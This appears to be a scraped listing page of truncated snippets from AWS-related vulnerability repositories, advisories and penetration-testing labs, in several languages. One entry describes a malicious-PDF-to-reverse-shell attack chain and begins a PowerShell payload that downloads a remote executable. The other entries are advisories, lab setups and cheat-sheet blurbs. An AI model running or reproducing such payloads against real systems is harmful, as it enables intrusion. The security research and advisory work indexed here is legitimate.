Exploit for CVE-2026-103956

abraxaslabs.tech · github.com/abraxas ·&...

apche-struts-vuln-demo-cve-2018-11776

Demostración de Vulnerabilidad Apache Struts CVE-2018-11776 Descripción Crea un entorno de prueba aislado para experimentar con la vulnerabilidad CVE-2018-11776 de Apache Struts. Comenzando Para iniciar el entorno de prueba, ejecute el siguiente comando: aws cloudformation create-stack ...

aws-log4j-mitigations

aws-log4j-mitigations 在 AWS 上实施的缓解措施，以尝试防止 log4j 漏洞利用。 使用 WAFv2 和 Ansible。 灵感来源：https://github.com/OllieJC/aws-log4j-mitigations...

CVE-2021-3456

CVE-2021-3456 一条从看似无害的 PDF 文件开始，最终在 AWS EC2 实例上获得反向 shell 的实用攻击链 开端：构建 PDF 载荷 一切从攻击的前端开始。利用 PowerShell 内置的 WScript 对象，我们将一段脚本嵌入 PDF 中，该 PDF 将被投递到 Windows 主机。载荷从远程 HTTP 端点拉取一个可执行文件，并将其写入本地文件系统。 $payload = @" var wsh = WScript.CreateObject"WScript.Shell"; wsh.Exec "powershell -NoProfile...

aws__aws-sdk-java_CVE-2022-31159_1-12-2600

AWS SDK for Java AWS SDK for Java 使 Java 开发者能够轻松使用 Amazon Web Services 并构建可扩展的解决方案，涵盖 Amazon S3、Amazon DynamoDB、Amazon Glacier 等。 请参阅 AWS SDK for Java 2.x 了解如何开始。 自 2024 年 7 月 31 日起进入维护模式 AWS SDK for Java 1.x 已进入维护模式。AWS SDK for Java 1.x 于 2024 年 7 月 31 日进入维护模式，并将于 2025 年 12 月 31 日停止支持。在维护期间，AWS...

AWS-SAM-CLI-Vulnerabilities

AWS SAM CLI 漏洞（CVE-2025-3047 和 CVE-2025-3048） 本自述文件详细分析了 AWS Serverless Application Model CLI（AWS SAM CLI）中发现的两个安全漏洞——CVE-2025-3047 和 CVE-2025-3048，以及相关的代码级问题和修复。这两个漏洞都涉及在使用 Docker 容器进行构建过程中对符号链接的不正确处理。以下每一节涵盖一个 CVE，包括摘要、受影响代码（引用 SAM CLI 源代码）、补丁及其解决问题的方式，以及补救指南。 这些缺陷涉及 sam build --use-container...

cloud-middleware-dataset

云中间件数据集 本项目包含各大云服务提供商（Azure、AWS 和 GCP）所使用的云中间件（即由云安全提供商安装的代理）。 云中间件数据集列出了由主要云服务提供商（Azure、AWS 和 GCP）安装的所有代理。本项目的目的是让云客户全面了解其环境中安装的中间件，这些中间件可能会增加攻击面。 云中间件问题 云服务提供商通常在客户不知情或未明确同意的情况下，在客户的虚拟机上安装专有软件。这种桥接客户虚拟机与云提供商托管服务的专有软件，常常被发现会引入云客户所不知道的新潜在攻击面。由于 云中间件...

LabS4U2Self

S4U2Self 滥用实验室 此实验室旨在提供一个安全的环境，用于测试 S4U2Self abuse 漏洞利用 部署 该项目将部署： 1 个 DC，带有一个 域管理员 hpotter 1 个 MSSQL，带有弱 sa 密码 部署通过 AWS 上的 terraform 和 ansible 执行，因此必须安装这两个软件，并且你必须提供你的 AWS 凭证。 然后只需运行 terraform init && terraform apply --auto-approve 完成后别忘了使用 terraform destroy --auto-approve 销毁实验室！ 剧透 对 MSSQL 的 sa...

AWSome-Pentesting

AWSome 渗透测试速查表 欢迎提交 Pull requests : 本指南旨在帮助渗透测试人员深入了解 AWS 错误配置及利用它们的方法。 它由我的笔记整理而成，这些笔记汇集了无数小时的学习和来自各种来源的注释。 假设你已经拥有 AWS 密钥（这并不难找到，只需查看开发者的 GitHub ） 作者 - pop3ret...

aws-suture

tl;dr $ git clone [email protected]:pblittle/suture.git $ cd suture $ bundle install $ bundle exec ./bin/suture --help $ bundle exec ./bin/suture check Suture Suture 是一个用于在您的 AWS EC2 实例上运行任意命令的工具。您可以针对单个实例或整个区域运行它。Suture 最初是为了确定我们正在运行的 EC2 实例中是否有任何实例使用了易受 Heartbleed 漏洞影响的 OpenSSL 版本而编写的。 一次...

aws-smithy-json: Uncontrolled recursion in the aws-smithy-json unknown-key skip path allows unauthenticated remote denial of service in smithy-rs generated servers

Summary Smithy-RS is a Rust code generation and runtime framework that generates HTTP clients and servers from Smithy interface definitions, powering the AWS SDK for Rust and custom service implementations. An issue exists which allows uncontrolled recursion in the unknown-key skip path of the...

GHSA-8FFR-XGWF-XJ56 aws-smithy-json: Uncontrolled recursion in the aws-smithy-json unknown-key skip path allows unauthenticated remote denial of service in smithy-rs generated servers

Summary Smithy-RS is a Rust code generation and runtime framework that generates HTTP clients and servers from Smithy interface definitions, powering the AWS SDK for Rust and custom service implementations. An issue exists which allows uncontrolled recursion in the unknown-key skip path of the...

acmer (>=0.0.1, <=0.0.4), auth-proxy (>=0.0.1, <=0.1.1) +458 more potentially affected by CVE-2026-18140 via aws-smithy-json (>=0.27.0-alpha.1, <=0.56.1)

aws-smithy-json CARGO version =0.27.0-alpha.1, =0.0.1, =0.0.1, =0.0.1, =0.0.22-alpha, =0.0.1, =0.0.1, =0.1.0, =0.0.22-alpha, =0.0.22-alpha, =0.0.22-alpha, =0.0.22-alpha, =0.0.22-alpha, =0.0.22-alpha, =0.0.22-alpha, =0.34.0 and more Source cves: CVE-2026-18140 Source advisory: OSV:GHSA-8FFR-XGWF-X...

EUVD-2026-51271

aws-smithy-json: Uncontrolled recursion in the aws-smithy-json unknown-key skip path allows unauthenticated remote denial of service in smithy-rs generated servers...

LOAD

简介 基于 AWS-Redteam-Lab 和 OCD GOAD 每月运行该实验环境 125 小时的费用约为 14 美元。 使用免费套餐，你每月可获得 750 小时的 EC2 使用时间，因为有 6 台机器，所以每台 125 小时。但你只有 30GB 的存储空间。因此，你还需要为其他 5 台虚拟机购买存储空间：30GB 5 = 150GB = 14 美元/月 安装 与 GOAD 项目一样，安装分为两部分： providing：它使用 terraform 完成，配置你的 AWS VPC、网络和 EC2（虚拟机） provisioning：它使用 ansible...

awsScrape

AWSScrape AWSScrape 是一款工具，用于从所有 AWS IP 范围中抓取 SSL 证书，并在证书的通用名称（CN）、组织（O）和组织单位（OU）字段中搜索特定关键字。 安装 1. 克隆此仓库： git clone https://github.com/jhaddix/awsscrape.git cd awsscrape 用法 按以下方式运行脚本： go run awsscrape.go -keyword= Argument| Description ---|--- -keyword| 在 SSL 证书中搜索的单一关键字 -output| 指定输出文件以存储结果...

GO-2026-6497 vulnerabilities

Vulnerabilities for packages: tigera-operator, kargo, opentofu, helm-push, cert-manager-cmctl, maru, k8sgpt, rancher-helm, flux-helm-controller, cluster-api-helm-controller, manifest-tool, gitness, k9s, xeol, helm-mapkubeapis, kyverno-notation-aws, helm-set-status, kube-arangodb...

GO-2026-6499 vulnerabilities

Vulnerabilities for packages: tigera-operator, kargo, opentofu, helm-push, cert-manager-cmctl, maru, k8sgpt, rancher-helm, flux-helm-controller, cluster-api-helm-controller, manifest-tool, gitness, k9s, xeol, helm-mapkubeapis, kyverno-notation-aws, helm-set-status, kube-arangodb...

Cloud-Penetration-Testing-Guide

☁️ Cloud Penetration Testing Guide - Completo Guia operaciona...

CVE-2026-103958

Server-side request forgery in the tool server and remote agent connection handling in Loom for AWS before 1.7.0 might allow an authenticated remote user to obtain the credentials of the application's own container role and to read responses from arbitrary internal network locations, via a crafte...